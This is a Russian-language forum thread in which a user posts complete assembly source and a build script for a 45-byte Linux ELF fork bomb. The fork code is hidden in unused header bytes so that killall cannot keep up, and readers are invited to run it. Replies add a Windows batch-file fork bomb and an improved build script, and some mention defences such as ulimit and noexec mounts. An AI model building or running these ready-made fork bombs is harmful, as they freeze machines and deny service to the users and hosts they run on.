Вы не вошли.


и снова здравствуйте.
а давайте продолжим бесчеловечные эксперименты с Linux и ELF-форматом.
ранее, я уже приводил пример 153-байтного ELF-файла, способного работать.
тем не менее, если необходимости в, скажем, разрешении на запись в кодовую секцию, не возникает, то заголовок можно обрезать ещё сильнее.
повторюсь, наиболее фундаментальное исследование вопроса было проведено здесь.
так вот.
BITS 32;
ORG 00400000h;
DB 7Fh, "ELF";
DD 01h;
DD 00h;
DD $$;
DW 02h;
DW 03h;
DD @main;
DD @main;
DD 04h;
@main:
LEA EAX, [EBX+2];
INT 80h;
JMP @main;
DB 00h;
DW 34h;
DW 20h;
DB 01h;что такое FORK-бомба, думаю, долго объяснять не надо.
это процесс, который бесконечно размножается, запуская всё новые свои копии.
обычно, с программами такого типа можно бороться с помощью средств администрирования: killall, (h)top и им подобных.
кардинальное отличие того, что я хочу представить вашему вниманию, в том, что в моём случае, процесс загрузки в память заголовка программы и, собственно, запуск, не разнесены по времени, что дало бы системе драгоценные микросекунды на то чтобы успеть посредством программ администрирования «вклиниться» в бесконечную череду размножений.
здесь же, код встроен прямо в ELF-заголовок, и состоит всего из трёх команд: записи в аккумуляторный регистр EAX числа 2 — кода системного вызова FORK, затем самого системного вызова, и, наконец, безусловного перехода на первую команду.
сам код (занимающий 7 байт, плюс один нуль для забивки места) встроен в 8-байтную «дырку» (в данном случае, дырка — это не уязвимость, а просто неиспользуемая область памяти) в ELF-заголовке, которая оставлена в нём по стандарту для возможных расширений формата.
при этом мы неявно используем тот факт, что при старте программы, так наз. регистр базы, EBX, выставляется в нуль.
суммарный размер результирующего исполнимого файла составляет 45 байт.
теперь взглянем на код утилиты killall.
основной цикл (каждая итерация которого убивает максимум 1 процесс) занимает 90 строк (316-405) на языке C.
из этого следует, что убить мою «бяку» данная утилита сможет только при существенной разнице в приоритете процессов.
killall, банально, слишком медленно работает.
пока что я не нашёл способа, как штатными средствами противостоять FORK-атаке этой программы (просто по причине «намертво»-зависания домашней машины).
если кому-то не лень, попробуйте запустить у себя и применить какие-нибудь более продвинутые способы 
скрипт для компиляции (сохранить в одной папке с файлом исходника, поименованного как forkbomb.asm):
#!/bin/bash
rm forkbomb
yasm -f bin -o forkbomb forkbomb.asm
chmod a+x forkbomball your post are belong to us.
Вне форума


РЕШЕТО! ©
«Коллективная глупость — индивидуальный признак толпы» © SLOR, 28 апреля 2011 г.
«Где пьёт толпа, все родники отравлены» © Фридрих Ницше.
Requiescat in pace, SLOR! © Уход Hedge 24 мая 2011 г.
Вне форума


Svart Testare,
здесь Вы неправы, т.к. данный код не есть следствие какой-либо фатальной уязвимости или недоработки стандартов.
это то же самое, что назвать «решетом» Windows за возможность выполнения format c:/ 
all your post are belong to us.
Вне форума


пока что я не нашёл способа, как штатными средствами противостоять FORK-атаке этой программы
Очевидно же, что штатным средством являются бинарники из подписанных пакетов в разделе, откуда можно выполнять, и /home/, /tmp/ и прочие, из которых выполнять нельзя и незачем. Бороться в реальном времени с выполняющимся кодом, творящим DOS – дело неблагодарное, он всегда быстрее.
.:``́3̶E̶P̶O̶W̶h̶`́`:.
Вне форума


Майор Очевидность
ulimit, не?
Анархия-мама сынов своих любит
Вне форума
Класс, апплодирую стоя! Над заюзать))
Интеллигент боится лишь одного — касаться темы зла и его корней, потому что справедливо полагает, что здесь его могут сразу выeбaть телеграфным столбом.©
Вне форума


это то же самое, что назвать «решетом» Windows за возможность выполнения format c:/
А в винде это и невозможно сделать, хехе 
«Коллективная глупость — индивидуальный признак толпы» © SLOR, 28 апреля 2011 г.
«Где пьёт толпа, все родники отравлены» © Фридрих Ницше.
Requiescat in pace, SLOR! © Уход Hedge 24 мая 2011 г.
Вне форума


А в винде это и невозможно сделать, хехе
Format C:, может, и нельзя, а форк-бомбу?
Кто мешает точно так же написать процесс, который запускал бы сотни копий себя в секунду, в винде? Помню, когда-то то ли висту, то лисемёрку можно было подвесить, просто держа Win+E.
Вне форума


Ну, в винде с форкбомбой просто бороться, вышел из под пользователя и все. При этом во время действия форка он тормозит, но не залипает смертельно. Я запускал разные форки)
Квантовая механика - "малопонятный математический курьёз" (с) msAVA - современный учитель.
Вне форума


скрипт для компиляции (сохранить в одной папке с файлом исходника, поименованного как forkbomb.asm)
Спасибо, посмеялся, оно толком даже ничего не автоматизирует если даже надо создавать файл с особым именем, => смысла в таком скрипте нету. Лучше как то вот так:
#!/bin/bash
[[ -f forkbomb ]] || rm forkbomb
find -iname *.asm | while read i; do
yasm -f bin -o "$($i | sed -e 's:.asm::')" "$i"
chmod a+x "$($i | sed -e 's:.asm::')"
doneА вообще, зачет, круто! 
PS man Makefile 
Отредактировано Vantuz4ever (07-03-11 16:23:44)
Вне форума


Кто мешает точно так же написать процесс, который запускал бы сотни копий себя в секунду, в винде?
Не знаю как будет, но может сработать какая-то защита «от дурака». Можете написать такое для Windows?
«Коллективная глупость — индивидуальный признак толпы» © SLOR, 28 апреля 2011 г.
«Где пьёт толпа, все родники отравлены» © Фридрих Ницше.
Requiescat in pace, SLOR! © Уход Hedge 24 мая 2011 г.
Вне форума


какая-то защита «от дурака»
Такой защиты вроде бы нету, но линукс у меня повесился поистине моментально!
Отредактировано Vantuz4ever (07-03-11 20:33:17)
Вне форума


РЕШЕТО! ©
Вы совершенно не понимаете, в чём здесь проблема? Тогда нечего нос совать в такие дела.
Вне форума


Вы совершенно не понимаете, в чём здесь проблема? Тогда нечего нос совать в такие дела.
Вне форума


здесь Вы неправы, т.к. данный код не есть следствие какой-либо фатальной уязвимости или недоработки стандартов.
это то же самое, что назвать «решетом» Windows за возможность выполнения format c:/
Ну да, умник, попробуй на винде рабочей запустить format c: Показать что ты получишь фигу или сам попробуешь???
Господа, вы охуели. Все. ©Cэмен
Вне форума


Показать что ты получишь фигу или сам попробуешь???
Это исключительно недостаток винды, линукс здесь при чем?
Вне форума


Бомба для Винды:
Делаем батничек с текстом:
:s
start %0
goto :sЗапускаем 
Начинается пиздец из окон cmd. При этом у меня совершенно без перерывов продолжал играть AIMP2 и аутлук проверял почту, хотя мышь двигалась рывками. Окна cmd открываются один над другим, вызвать диспетчер задач невозможно, хотя контрол-альт-делит работает и показывает своё обычное меню. Даже описанный спасительный log off не помогает — окна открываются быстрее, чем система их прибивает. В общем, нашёлся неожиданный способ спастись от этого пиздеца — так как все открытые окна cmd аккуратненько ссортировались в таскбаре в одну кучку, то я просто выбрал Close all windows… и вуаля — все нагенерированные к тому моменту 193 окна закрылись
Всё прекратилось через несколько секунд.
«Коллективная глупость — индивидуальный признак толпы» © SLOR, 28 апреля 2011 г.
«Где пьёт толпа, все родники отравлены» © Фридрих Ницше.
Requiescat in pace, SLOR! © Уход Hedge 24 мая 2011 г.
Вне форума


Ну да, умник, попробуй на винде рабочей запустить format c: Показать что ты получишь фигу или сам попробуешь???
Зато я запросто на робочей венде делаю вот так:
И винда идёт спать, не успев даже моргнуть. Так что формат с совершенно "нинужен".
Вне форума


Майор Очевидность,
Моя бомба получилась всего 23 байта вместо ваших 45 
«Коллективная глупость — индивидуальный признак толпы» © SLOR, 28 апреля 2011 г.
«Где пьёт толпа, все родники отравлены» © Фридрих Ницше.
Requiescat in pace, SLOR! © Уход Hedge 24 мая 2011 г.
Вне форума


все нагенерированные к тому моменту 193 окна закрылись
Боюсь что пока программа на ассемблере забьет все ресурсы вы только успеете похлопать глазами в прямом смысле. Ваши 193 окна открывались минуты 4, да? У меня в виртуальной XP так и было.
Из кода батника:
goto :s
Мне одному плохо стало от такого? Вроде бы циклы появились уже лет сорок назад.
Отредактировано Vantuz4ever (07-03-11 21:33:07)
Вне форума


Ваши 193 окна открывались минуты 4, да? У меня в виртуальной XP так и было.
Где-то так. Но я сначала пытался их вручную закрывать. Меня хватило на пару десятков окон 
«Коллективная глупость — индивидуальный признак толпы» © SLOR, 28 апреля 2011 г.
«Где пьёт толпа, все родники отравлены» © Фридрих Ницше.
Requiescat in pace, SLOR! © Уход Hedge 24 мая 2011 г.
Вне форума


Кто мешает точно так же написать процесс, который запускал бы сотни копий себя в секунду, в винде? Помню, когда-то то ли висту, то лисемёрку можно было подвесить, просто держа Win+E.
Во первых это чушь! Во вторых, форматфайлов exe не оставляет никаких незаполненых или неименованных областей, поэтому -то такая хрень в винде невозможна в принципе.
Господа, вы охуели. Все. ©Cэмен
Вне форума


Во первых это чушь!
Пруфлинк
форматфайлов exe не оставляет никаких незаполненых или неименованных областей
Ну и что? Программа же не завершает свою работу после того как себя форкнет.
Вне форума


Пруфлинк
Нажатие на Вин-E и удержание в нажатом состоянии открывает лишь одно окно.
«Коллективная глупость — индивидуальный признак толпы» © SLOR, 28 апреля 2011 г.
«Где пьёт толпа, все родники отравлены» © Фридрих Ницше.
Requiescat in pace, SLOR! © Уход Hedge 24 мая 2011 г.
Вне форума


Пруфлинк
...
Хотя, впрочем, просвящайся www.helloworld.ru/texts/comp/lang/asm/syst/lek6.htm
Отредактировано pavel2403 (07-03-11 22:10:30)
Нежнее!
Господа, вы охуели. Все. ©Cэмен
Вне форума
[ Сгенерировано за 0.012 сек, 7 запросов выполнено - Использовано памяти: 1.8 Мбайт (Пик: 1.88 Мбайт) ]